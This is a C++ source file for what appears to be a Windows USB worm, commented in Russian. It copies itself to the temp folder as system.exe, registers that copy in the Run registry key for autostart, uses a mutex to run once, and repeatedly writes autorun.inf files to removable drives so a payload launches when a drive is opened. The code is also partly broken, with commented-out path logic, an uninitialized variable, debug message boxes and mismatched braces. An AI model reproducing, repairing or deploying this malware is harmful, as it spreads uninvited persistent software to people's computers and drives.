#include <fstream>
#include "StdAfx.h"
#include <io.h>
#include <windows.h>
#include <stdio.h>
//#define MAX_LOADSTRING 100

bool IsFileExist(LPCTSTR strFileName)
{
    HANDLE hFile = ::CreateFile(strFileName,
                         GENERIC_READ,
                         FILE_SHARE_READ,
                         NULL,  
                         OPEN_EXISTING,
                         FILE_ATTRIBUTE_NORMAL,
                         NULL);
    return (hFile != INVALID_HANDLE_VALUE);
}

BOOL AddMyProgramToAutostart(TCHAR* szPath)  
{  
HKEY hKey = NULL;   
RegOpenKey(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hKey);  
if(!hKey)  
return(FALSE);  
RegSetValueEx(hKey,TEXT("Irbis"),0,REG_SZ,(PBYTE)szPath,lstrlen(szPath)*sizeof(TCHAR));  
RegCloseKey(hKey);  
return(TRUE);  
}  

void  AvtoRun(LPCTSTR name)
{

//_tcscat((wchar_t *)name,L"AutoRun.inf");

FILE *file=fopen ((PCHAR)(LPCTSTR)name,"w");

  MessageBox(0,(LPCTSTR)name,0,0);

if (file)
{

fprintf(file, "[autorun]\nOpen=usbdrive.exe\n");
     fprintf(file, "icon=%%SystemRoot%%\\system32\\SHELL32.dll,4\n");
    fprintf(file, "action=Open folder to view files\n");
     fprintf(file, "shell\\open=Open\n");
     fprintf(file, "shell\\open\\command=usbdrive.exe\n");
    fprintf(file, "shell\\open\\default=1\n");
fclose(file);
}
else
{
  MessageBox(0,0,0,0);
}
}
//Заражение флешек
PCHAR find_usbflash ()
{
  TCHAR*  FIleR[5];
  TCHAR  buf[100];
   
  int  i;
    int Ser = rand() % 5 ;
   
PCHAR    drive;  

    TCHAR buffer[MAX_PATH];
    DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf);
for(TCHAR* s=buf; *s; s+=_tcslen(s)+1)
    {
      LPCTSTR sDrivePath = s;
   
       UINT uDriveType = GetDriveType(sDrivePath);
       if (uDriveType == DRIVE_REMOVABLE)
    {
    
    
AvtoRun(((LPCTSTR)s));

   
}
          return 0;
       }
    }
}

//*******************

//Создание мьютекса
bool MyMytex()
{
  HANDLE hMutex;
  hMutex = CreateMutex(NULL,TRUE,_T("/1/"));
if (GetLastError() == ERROR_ALREADY_EXISTS)  
  {
   return true;
  }
  else
  {
  return false;
  }
}
//*************
//Процедура установки программы
BOOL Setap()
{
TCHAR buffer[MAX_PATH];
  TCHAR temp[MAX_PATH];

   STARTUPINFO si;
   memset(&si, 0, sizeof(si));
   si.cb = sizeof(si);
   PROCESS_INFORMATION pi;
   memset(&pi, 0, sizeof(pi));

    

GetModuleFileName(NULL,buffer,sizeof(buffer));
GetTempPath(MAX_PATH,temp);
_tcscat(temp,_T("system.exe"));

if(IsFileExist(temp))
{
  AddMyProgramToAutostart(temp);

}
else
{
  CopyFile(buffer,temp,false);
  CreateProcess(NULL, temp, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
  AddMyProgramToAutostart(temp);
  ExitProcess(0);
}

return 0;
}
//**********

int FindKey()
{
  int kodkey;
  short key=GetKeyState(kodkey);
  switch(key)
  {
  case VK_LCONTROL:MessageBox(0,0,0,0);
   
  }
  return key;
}

//Маин класс
int APIENTRY _tWinMain(HINSTANCE hInstance,
                      HINSTANCE hPrevInstance,
                      LPTSTR    lpCmdLine,
                      int       nCmdShow)
{

  if(MyMytex()==true)
  {
   ExitProcess(0);
  }
   

Setap();

while(true)
{
  Sleep(5000);

find_usbflash();
}
  return 0;
}
//**********